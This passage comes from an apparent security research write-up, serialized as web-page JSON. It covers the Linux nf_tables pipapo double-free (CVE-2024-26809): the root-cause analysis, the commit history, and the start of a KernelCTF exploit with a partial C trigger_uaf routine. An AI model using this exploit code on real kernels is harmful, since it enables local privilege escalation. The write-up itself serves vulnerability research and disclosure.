",{"type":24,"tag":80,"props":59301,"children":59303},{"className":59302},[],[59304],{"type":29,"value":56570},{"type":29,"value":59306}," true in the release step because the ",{"type":24,"tag":80,"props":59308,"children":59310},{"className":59309},[],[59311],{"type":29,"value":57936},{"type":29,"value":59313}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":24,"tag":80,"props":59315,"children":59317},{"className":59316},[],[59318],{"type":29,"value":59319},"set->dead",{"type":29,"value":59321}," flag. If a ",{"type":24,"tag":80,"props":59323,"children":59325},{"className":59324},[],[59326],{"type":29,"value":56616},{"type":29,"value":59328}," was marked for deletion, it receives the ",{"type":24,"tag":80,"props":59330,"children":59332},{"className":59331},[],[59333],{"type":29,"value":59319},{"type":29,"value":59335}," flag ",{"type":24,"tag":147,"props":59337,"children":59338},{},[59339],{"type":29,"value":8753},{"type":29,"value":59341},". If this flag is set, then the commit path will skip any commitments to this ",{"type":24,"tag":80,"props":59343,"children":59345},{"className":59344},[],[59346],{"type":29,"value":56616},{"type":29,"value":12083},{"type":24,"tag":147,"props":59349,"children":59350},{},[59351],{"type":29,"value":23134},{"type":29,"value":59353},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":24,"tag":80,"props":59355,"children":59357},{"className":59356},[],[59358],{"type":29,"value":59359},"priv ->dirty",{"type":29,"value":59361}," flag is not cleared when it should have been.",{"type":24,"tag":32,"props":59363,"children":59365},{"id":59364},"tracing-the-guilty-commit",[59366],{"type":29,"value":59367},"Tracing the guilty commit",{"type":24,"tag":25,"props":59369,"children":59370},{},[59371,59373,59380,59382,59388,59390,59395,59397,59403],{"type":29,"value":59372},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":24,"tag":2773,"props":59374,"children":59377},{"href":59375,"rel":59376},"https://ubuntu.com/security/CVE-2024-26809",[2777],[59378],{"type":29,"value":59379},"advisories",{"type":29,"value":59381}," about this vulnerability will say it was introduced by this ",{"type":24,"tag":2773,"props":59383,"children":59386},{"href":59384,"rel":59385},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[2777],[59387],{"type":29,"value":58269},{"type":29,"value":59389},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":24,"tag":80,"props":59391,"children":59393},{"className":59392},[],[59394],{"type":29,"value":59319},{"type":29,"value":59396}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":24,"tag":2773,"props":59398,"children":59401},{"href":59399,"rel":59400},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[2777],[59402],{"type":29,"value":58269},{"type":29,"value":87},{"type":24,"tag":25,"props":59405,"children":59406},{},[59407],{"type":29,"value":59408},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":24,"tag":137,"props":59410,"children":59414},{"className":59411,"code":59412,"language":59413,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[59415],{"type":24,"tag":80,"props":59416,"children":59417},{"__ignoreMap":7},[59418,59426,59434,59441,59449,59457,59464,59472,59479,59487,59495,59502,59510,59518,59526,59534,59542,59550,59558,59566,59574,59581,59589,59597,59604,59612,59620,59628,59636,59644,59651,59659,59667],{"type":24,"tag":147,"props":59419,"children":59420},{"class":149,"line":150},[59421],{"type":24,"tag":147,"props":59422,"children":59423},{},[59424],{"type":29,"value":59425},"New elements that reside in the clone are not released in case that the\n",{"type":24,"tag":147,"props":59427,"children":59428},{"class":149,"line":160},[59429],{"type":24,"tag":147,"props":59430,"children":59431},{},[59432],{"type":29,"value":59433},"transaction is aborted.\n",{"type":24,"tag":147,"props":59435,"children":59436},{"class":149,"line":169},[59437],{"type":24,"tag":147,"props":59438,"children":59439},{"emptyLinePlaceholder":16},[59440],{"type":29,"value":314},{"type":24,"tag":147,"props":59442,"children":59443},{"class":149,"line":178},[59444],{"type":24,"tag":147,"props":59445,"children":59446},{},[59447],{"type":29,"value":59448},"[16302.231754] ------------[ cut here ]------------\n",{"type":24,"tag":147,"props":59450,"children":59451},{"class":149,"line":187},[59452],{"type":24,"tag":147,"props":59453,"children":59454},{},[59455],{"type":29,"value":59456},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":147,"props":59458,"children":59459},{"class":149,"line":196},[59460],{"type":24,"tag":147,"props":59461,"children":59462},{},[59463],{"type":29,"value":15939},{"type":24,"tag":147,"props":59465,"children":59466},{"class":149,"line":205},[59467],{"type":24,"tag":147,"props":59468,"children":59469},{},[59470],{"type":29,"value":59471},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":24,"tag":147,"props":59473,"children":59474},{"class":149,"line":214},[59475],{"type":24,"tag":147,"props":59476,"children":59477},{},[59478],{"type":29,"value":15939},{"type":24,"tag":147,"props":59480,"children":59481},{"class":149,"line":272},[59482],{"type":24,"tag":147,"props":59483,"children":59484},{},[59485],{"type":29,"value":59486},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":24,"tag":147,"props":59488,"children":59489},{"class":149,"line":281},[59490],{"type":24,"tag":147,"props":59491,"children":59492},{},[59493],{"type":29,"value":59494},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":24,"tag":147,"props":59496,"children":59497},{"class":149,"line":299},[59498],{"type":24,"tag":147,"props":59499,"children":59500},{},[59501],{"type":29,"value":15939},{"type":24,"tag":147,"props":59503,"children":59504},{"class":149,"line":308},[59505],{"type":24,"tag":147,"props":59506,"children":59507},{},[59508],{"type":29,"value":59509},"[16302.231917] Call Trace:\n",{"type":24,"tag":147,"props":59511,"children":59512},{"class":149,"line":317},[59513],{"type":24,"tag":147,"props":59514,"children":59515},{},[59516],{"type":29,"value":59517},"[16302.231919]  \u003CTASK>\n",{"type":24,"tag":147,"props":59519,"children":59520},{"class":149,"line":332},[59521],{"type":24,"tag":147,"props":59522,"children":59523},{},[59524],{"type":29,"value":59525},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":24,"tag":147,"props":59527,"children":59528},{"class":149,"line":350},[59529],{"type":24,"tag":147,"props":59530,"children":59531},{},[59532],{"type":29,"value":59533},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":24,"tag":147,"props":59535,"children":59536},{"class":149,"line":358},[59537],{"type":24,"tag":147,"props":59538,"children":59539},{},[59540],{"type":29,"value":59541},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":24,"tag":147,"props":59543,"children":59544},{"class":149,"line":397},[59545],{"type":24,"tag":147,"props":59546,"children":59547},{},[59548],{"type":29,"value":59549},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":24,"tag":147,"props":59551,"children":59552},{"class":149,"line":421},[59553],{"type":24,"tag":147,"props":59554,"children":59555},{},[59556],{"type":29,"value":59557},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":24,"tag":147,"props":59559,"children":59560},{"class":149,"line":435},[59561],{"type":24,"tag":147,"props":59562,"children":59563},{},[59564],{"type":29,"value":59565},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":24,"tag":147,"props":59567,"children":59568},{"class":149,"line":444},[59569],{"type":24,"tag":147,"props":59570,"children":59571},{},[59572],{"type":29,"value":59573},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":24,"tag":147,"props":59575,"children":59576},{"class":149,"line":452},[59577],{"type":24,"tag":147,"props":59578,"children":59579},{"emptyLinePlaceholder":16},[59580],{"type":29,"value":314},{"type":24,"tag":147,"props":59582,"children":59583},{"class":149,"line":461},[59584],{"type":24,"tag":147,"props":59585,"children":59586},{},[59587],{"type":29,"value":59588},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":24,"tag":147,"props":59590,"children":59591},{"class":149,"line":469},[59592],{"type":24,"tag":147,"props":59593,"children":59594},{},[59595],{"type":29,"value":59596},"elements in the lookup tables.\n",{"type":24,"tag":147,"props":59598,"children":59599},{"class":149,"line":508},[59600],{"type":24,"tag":147,"props":59601,"children":59602},{"emptyLinePlaceholder":16},[59603],{"type":29,"value":314},{"type":24,"tag":147,"props":59605,"children":59606},{"class":149,"line":572},[59607],{"type":24,"tag":147,"props":59608,"children":59609},{},[59610],{"type":29,"value":59611},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":24,"tag":147,"props":59613,"children":59614},{"class":149,"line":591},[59615],{"type":24,"tag":147,"props":59616,"children":59617},{},[59618],{"type":29,"value":59619},"cloned matching data if priv->dirty is set, because that means that\n",{"type":24,"tag":147,"props":59621,"children":59622},{"class":149,"line":632},[59623],{"type":24,"tag":147,"props":59624,"children":59625},{},[59626],{"type":29,"value":59627},"cloned data might point to additional elements we did not commit to the\n",{"type":24,"tag":147,"props":59629,"children":59630},{"class":149,"line":659},[59631],{"type":24,"tag":147,"props":59632,"children":59633},{},[59634],{"type":29,"value":59635},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":24,"tag":147,"props":59637,"children":59638},{"class":149,"line":684},[59639],{"type":24,"tag":147,"props":59640,"children":59641},{},[59642],{"type":29,"value":59643},"to it).\"\n",{"type":24,"tag":147,"props":59645,"children":59646},{"class":149,"line":715},[59647],{"type":24,"tag":147,"props":59648,"children":59649},{"emptyLinePlaceholder":16},[59650],{"type":29,"value":314},{"type":24,"tag":147,"props":59652,"children":59653},{"class":149,"line":744},[59654],{"type":24,"tag":147,"props":59655,"children":59656},{},[59657],{"type":29,"value":59658},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":24,"tag":147,"props":59660,"children":59661},{"class":149,"line":784},[59662],{"type":24,"tag":147,"props":59663,"children":59664},{},[59665],{"type":29,"value":59666},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":24,"tag":147,"props":59668,"children":59669},{"class":149,"line":792},[59670],{"type":24,"tag":147,"props":59671,"children":59672},{},[59673],{"type":29,"value":59674},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":24,"tag":25,"props":59676,"children":59677},{},[59678,59680,59685,59687,59692,59694,59699,59701,59706],{"type":29,"value":59679},"As we previously discussed, committing changes to a pipapo ",{"type":24,"tag":80,"props":59681,"children":59683},{"className":59682},[],[59684],{"type":29,"value":56616},{"type":29,"value":59686}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":24,"tag":80,"props":59688,"children":59690},{"className":59689},[],[59691],{"type":29,"value":57936},{"type":29,"value":59693}," method by simply replacing the ",{"type":24,"tag":80,"props":59695,"children":59697},{"className":59696},[],[59698],{"type":29,"value":56616},{"type":29,"value":59700},"s match object with its updated clone. So checking the ",{"type":24,"tag":80,"props":59702,"children":59704},{"className":59703},[],[59705],{"type":29,"value":56570},{"type":29,"value":59707}," flag and then calling free again ensures we also free uncommitted changes.",{"type":24,"tag":25,"props":59709,"children":59710},{},[59711,59713,59718],{"type":29,"value":59712},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":24,"tag":80,"props":59714,"children":59716},{"className":59715},[],[59717],{"type":29,"value":56616},{"type":29,"value":59719},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":24,"tag":25,"props":59721,"children":59722},{},[59723,59725,59731,59733,59738,59740,59745],{"type":29,"value":59724},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":24,"tag":80,"props":59726,"children":59728},{"className":59727},[],[59729],{"type":29,"value":59730},"set->ops->destroy()",{"type":29,"value":59732}," could be called without clearing the ",{"type":24,"tag":80,"props":59734,"children":59736},{"className":59735},[],[59737],{"type":29,"value":56570},{"type":29,"value":59739}," flag, which was fine considering you didn't have duplicated views of the ",{"type":24,"tag":80,"props":59741,"children":59743},{"className":59742},[],[59744],{"type":29,"value":56608},{"type":29,"value":59746},"s, so they would all be in the clone set.",{"type":24,"tag":25,"props":59748,"children":59749},{},[59750,59752,59757],{"type":29,"value":59751},"But when the ",{"type":24,"tag":80,"props":59753,"children":59755},{"className":59754},[],[59756],{"type":29,"value":59319},{"type":29,"value":59758}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":24,"tag":25,"props":59760,"children":59761},{},[59762],{"type":29,"value":59763},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":24,"tag":32,"props":59765,"children":59767},{"id":59766},"kernelctf-exploit",[59768],{"type":29,"value":59769},"KernelCTF exploit",{"type":24,"tag":25,"props":59771,"children":59772},{},[59773,59775,59781,59783,59790],{"type":29,"value":59774},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":24,"tag":80,"props":59776,"children":59778},{"className":59777},[],[59779],{"type":29,"value":59780},"nft_object + udata",{"type":29,"value":59782}," technique shared by lonial con in a ",{"type":24,"tag":2773,"props":59784,"children":59787},{"href":59785,"rel":59786},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[2777],[59788],{"type":29,"value":59789},"previous kernelCTF exploit",{"type":29,"value":87},{"type":24,"tag":43,"props":59792,"children":59794},{"id":59793},"trigger-uafavoid-double-free-detection",[59795],{"type":29,"value":59796},"Trigger UAF/avoid double-free detection",{"type":24,"tag":25,"props":59798,"children":59799},{},[59800,59802,59808,59810,59816],{"type":29,"value":59801},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":24,"tag":80,"props":59803,"children":59805},{"className":59804},[],[59806],{"type":29,"value":59807},"nft_set_pipapo_match_destroy",{"type":29,"value":59809}," iterates over the ",{"type":24,"tag":80,"props":59811,"children":59813},{"className":59812},[],[59814],{"type":29,"value":59815},"setelems",{"type":29,"value":59817}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":24,"tag":2674,"props":59819,"children":59820},{},[59821,59826,59831,59836],{"type":24,"tag":2678,"props":59822,"children":59823},{},[59824],{"type":29,"value":59825},"Element A gets freed",{"type":24,"tag":2678,"props":59827,"children":59828},{},[59829],{"type":29,"value":59830},"Element B gets free",{"type":24,"tag":2678,"props":59832,"children":59833},{},[59834],{"type":29,"value":59835},"Element A gets freed again (double-free)",{"type":24,"tag":2678,"props":59837,"children":59838},{},[59839],{"type":29,"value":59840},"Element B gets freed again (double-free)",{"type":24,"tag":137,"props":59842,"children":59844},{"className":34712,"code":59843,"language":34714,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[59845],{"type":24,"tag":80,"props":59846,"children":59847},{"__ignoreMap":7},[59848,59855,59916,59923,59930,59938,59945,59952,59960,59984,60005,60039,60099,60106,60114,60166,60173,60199,60226,60265,60294,60323,60345,60352,60359,60366,60374,60381,60389,60402,60415,60435,60442,60450,60472,60504,60549,60585,60613,60620,60627,60635,60642,60658,60665],{"type":24,"tag":147,"props":59849,"children":59850},{"class":149,"line":150},[59851],{"type":24,"tag":147,"props":59852,"children":59853},{"style":235},[59854],{"type":29,"value":15939},{"type":24,"tag":147,"props":59856,"children":59857},{"class":149,"line":160},[59858,59863,59867,59872,59876,59881,59885,59890,59895,59899,59903,59907,59912],{"type":24,"tag":147,"props":59859,"children":59860},{"style":235},[59861],{"type":29,"value":59862},"static void trigger_uaf(",{"type":24,"tag":147,"props":59864,"children":59865},{"style":218},[59866],{"type":29,"value":993},{"type":24,"tag":147,"props":59868,"children":59869},{"style":9044},[59870],{"type":29,"value":59871}," mnl_socket",{"type":24,"tag":147,"props":59873,"children":59874},{"style":218},[59875],{"type":29,"value":1263},{"type":24,"tag":147,"props":59877,"children":59878},{"style":247},[59879],{"type":29,"value":59880},"nl",{"type":24,"tag":147,"props":59882,"children":59883},{"style":235},[59884],{"type":29,"value":546},{"type":24,"tag":147,"props":59886,"children":59887},{"style":218},[59888],{"type":29,"value":59889},"size_t",{"type":24,"tag":147,"props":59891,"children":59892},{"style":247},[59893],{"type":29,"value":59894}," size",{"type":24,"tag":147,"props":59896,"children":59897},{"style":235},[59898],{"type":29,"value":546},{"type":24,"tag":147,"props":59900,"children":59901},{"style":218},[59902],{"type":29,"value":1276},{"type":24,"tag":147,"props":59904,"children":59905},{"style":218},[59906],{"type":29,"value":1263},{"type":24,"tag":147,"props":59908,"children":59909},{"style":247},[59910],{"type":29,"value":59911},"msgqids",{"type":24,"tag":147,"props":59913,"children":59914},{"style":235},[59915],{"type":29,"value":269},{"type":24,"tag":147,"props":59917,"children":59918},{"class":149,"line":169},[59919],{"type":24,"tag":147,"props":59920,"children":59921},{"style":235},[59922],{"type":29,"value":278},{"type":24,"tag":147,"props":59924,"children":59925},{"class":149,"line":178},[59926],{"type":24,"tag":147,"props":59927,"children":59928},{"style":235},[59929],{"type":29,"value":15939},{"type":24,"tag":147,"props":59931,"children":59932},{"class":149,"line":187},[59933],{"type":24,"tag":147,"props":59934,"children":59935},{"style":235},[59936],{"type":29,"value":59937},"    // TRANSACTION 2\n",{"type":24,"tag":147,"props":59939,"children":59940},{"class":149,"line":196},[59941],{"type":24,"tag":147,"props":59942,"children":59943},{"style":235},[59944],{"type":29,"value":15939},{"type":24,"tag":147,"props":59946,"children":59947},{"class":149,"line":205},[59948],{"type":24,"tag":147,"props":59949,"children":59950},{"emptyLinePlaceholder":16},[59951],{"type":29,"value":314},{"type":24,"tag":147,"props":59953,"children":59954},{"class":149,"line":214},[59955],{"type":24,"tag":147,"props":59956,"children":59957},{"style":235},[59958],{"type":29,"value":59959},"    // create pipapo set\n",{"type":24,"tag":147,"props":59961,"children":59962},{"class":149,"line":272},[59963,59968,59972,59976,59980],{"type":24,"tag":147,"props":59964,"children":59965},{"style":235},[59966],{"type":29,"value":59967},"    uint8_t desc[2] = {",{"type":24,"tag":147,"props":59969,"children":59970},{"style":705},[59971],{"type":29,"value":46442},{"type":24,"tag":147,"props":59973,"children":59974},{"style":235},[59975],{"type":29,"value":546},{"type":24,"tag":147,"props":59977,"children":59978},{"style":705},[59979],{"type":29,"value":46442},{"type":24,"tag":147,"props":59981,"children":59982},{"style":235},[59983],{"type":29,"value":1120},{"type":24,"tag":147,"props":59985,"children":59986},{"class":149,"line":281},[59987,59992,59996,60001],{"type":24,"tag":147,"props":59988,"children":59989},{"style":235},[59990],{"type":29,"value":59991},"    set ",{"type":24,"tag":147,"props":59993,"children":59994},{"style":241},[59995],{"type":29,"value":369},{"type":24,"tag":147,"props":59997,"children":59998},{"style":229},[59999],{"type":29,"value":60000}," create_set",{"type":24,"tag":147,"props":60002,"children":60003},{"style":235},[60004],{"type":29,"value":9088},{"type":24,"tag":147,"props":60006,"children":60007},{"class":149,"line":299},[60008,60013,60017,60022,60027,60031,60035],{"type":24,"tag":147,"props":60009,"children":60010},{"style":235},[60011],{"type":29,"value":60012},"        batch, seq",{"type":24,"tag":147,"props":60014,"children":60015},{"style":241},[60016],{"type":29,"value":56862},{"type":24,"tag":147,"props":60018,"children":60019},{"style":235},[60020],{"type":29,"value":60021},", exploit_table_name, ",{"type":24,"tag":147,"props":60023,"children":60024},{"style":3534},[60025],{"type":29,"value":60026},"\"pwn_set\"",{"type":24,"tag":147,"props":60028,"children":60029},{"style":235},[60030],{"type":29,"value":546},{"type":24,"tag":147,"props":60032,"children":60033},{"style":705},[60034],{"type":29,"value":49099},{"type":24,"tag":147,"props":60036,"children":60037},{"style":235},[60038],{"type":29,"value":1549},{"type":24,"tag":147,"props":60040,"children":60041},{"class":149,"line":308},[60042,60047,60051,60056,60060,60065,60069,60073,60077,60082,60086,60090,60094],{"type":24,"tag":147,"props":60043,"children":60044},{"style":235},[60045],{"type":29,"value":60046},"        NFT_SET_INTERVAL ",{"type":24,"tag":147,"props":60048,"children":60049},{"style":241},[60050],{"type":29,"value":16037},{"type":24,"tag":147,"props":60052,"children":60053},{"style":235},[60054],{"type":29,"value":60055}," NFT_SET_OBJECT ",{"type":24,"tag":147,"props":60057,"children":60058},{"style":241},[60059],{"type":29,"value":16037},{"type":24,"tag":147,"props":60061,"children":60062},{"style":235},[60063],{"type":29,"value":60064}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":147,"props":60066,"children":60067},{"style":705},[60068],{"type":29,"value":8753},{"type":24,"tag":147,"props":60070,"children":60071},{"style":235},[60072],{"type":29,"value":546},{"type":24,"tag":147,"props":60074,"children":60075},{"style":241},[60076],{"type":29,"value":485},{"type":24,"tag":147,"props":60078,"children":60079},{"style":235},[60080],{"type":29,"value":60081},"desc, ",{"type":24,"tag":147,"props":60083,"children":60084},{"style":218},[60085],{"type":29,"value":5825},{"type":24,"tag":147,"props":60087,"children":60088},{"style":235},[60089],{"type":29,"value":546},{"type":24,"tag":147,"props":60091,"children":60092},{"style":705},[60093],{"type":29,"value":3173},{"type":24,"tag":147,"props":60095,"children":60096},{"style":235},[60097],{"type":29,"value":60098},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":147,"props":60100,"children":60101},{"class":149,"line":317},[60102],{"type":24,"tag":147,"props":60103,"children":60104},{"emptyLinePlaceholder":16},[60105],{"type":29,"value":314},{"type":24,"tag":147,"props":60107,"children":60108},{"class":149,"line":332},[60109],{"type":24,"tag":147,"props":60110,"children":60111},{"style":154},[60112],{"type":29,"value":60113},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":147,"props":60115,"children":60116},{"class":149,"line":350},[60117,60121,60125,60129,60134,60138,60142,60146,60150,60154,60158,60162],{"type":24,"tag":147,"props":60118,"children":60119},{"style":321},[60120],{"type":29,"value":324},{"type":24,"tag":147,"props":60122,"children":60123},{"style":235},[60124],{"type":29,"value":408},{"type":24,"tag":147,"props":60126,"children":60127},{"style":218},[60128],{"type":29,"value":1276},{"type":24,"tag":147,"props":60130,"children":60131},{"style":235},[60132],{"type":29,"value":60133}," i ",{"type":24,"tag":147,"props":60135,"children":60136},{"style":241},[60137],{"type":29,"value":369},{"type":24,"tag":147,"props":60139,"children":60140},{"style":705},[60141],{"type":29,"value":708},{"type":24,"tag":147,"props":60143,"children":60144},{"style":235},[60145],{"type":29,"value":56827},{"type":24,"tag":147,"props":60147,"children":60148},{"style":241},[60149],{"type":29,"value":3583},{"type":24,"tag":147,"props":60151,"children":60152},{"style":705},[60153],{"type":29,"value":13560},{"type":24,"tag":147,"props":60155,"children":60156},{"style":235},[60157],{"type":29,"value":56857},{"type":24,"tag":147,"props":60159,"children":60160},{"style":241},[60161],{"type":29,"value":56862},{"type":24,"tag":147,"props":60163,"children":60164},{"style":235},[60165],{"type":29,"value":269},{"type":24,"tag":147,"props":60167,"children":60168},{"class":149,"line":358},[60169],{"type":24,"tag":147,"props":60170,"children":60171},{"style":235},[60172],{"type":29,"value":3079},{"type":24,"tag":147,"props":60174,"children":60175},{"class":149,"line":397},[60176,60181,60186,60190,60195],{"type":24,"tag":147,"props":60177,"children":60178},{"style":247},[60179],{"type":29,"value":60180},"        elem",{"type":24,"tag":147,"props":60182,"children":60183},{"style":235},[60184],{"type":29,"value":60185},"[i] ",{"type":24,"tag":147,"props":60187,"children":60188},{"style":241},[60189],{"type":29,"value":369},{"type":24,"tag":147,"props":60191,"children":60192},{"style":229},[60193],{"type":29,"value":60194}," nftnl_set_elem_alloc",{"type":24,"tag":147,"props":60196,"children":60197},{"style":235},[60198],{"type":29,"value":9295},{"type":24,"tag":147,"props":60200,"children":60201},{"class":149,"line":421},[60202,60207,60212,60217,60221],{"type":24,"tag":147,"props":60203,"children":60204},{"style":229},[60205],{"type":29,"value":60206},"        memset",{"type":24,"tag":147,"props":60208,"children":60209},{"style":235},[60210],{"type":29,"value":60211},"(key, ",{"type":24,"tag":147,"props":60213,"children":60214},{"style":705},[60215],{"type":29,"value":60216},"0x41",{"type":24,"tag":147,"props":60218,"children":60219},{"style":241},[60220],{"type":29,"value":1734},{"type":24,"tag":147,"props":60222,"children":60223},{"style":235},[60224],{"type":29,"value":60225}," i, KEY_LEN);\n",{"type":24,"tag":147,"props":60227,"children":60228},{"class":149,"line":435},[60229,60234,60238,60242,60247,60252,60256,60261],{"type":24,"tag":147,"props":60230,"children":60231},{"style":229},[60232],{"type":29,"value":60233},"        nftnl_set_elem_set",{"type":24,"tag":147,"props":60235,"children":60236},{"style":235},[60237],{"type":29,"value":480},{"type":24,"tag":147,"props":60239,"children":60240},{"style":247},[60241],{"type":29,"value":532},{"type":24,"tag":147,"props":60243,"children":60244},{"style":235},[60245],{"type":29,"value":60246},"[i], NFTNL_SET_ELEM_OBJREF, 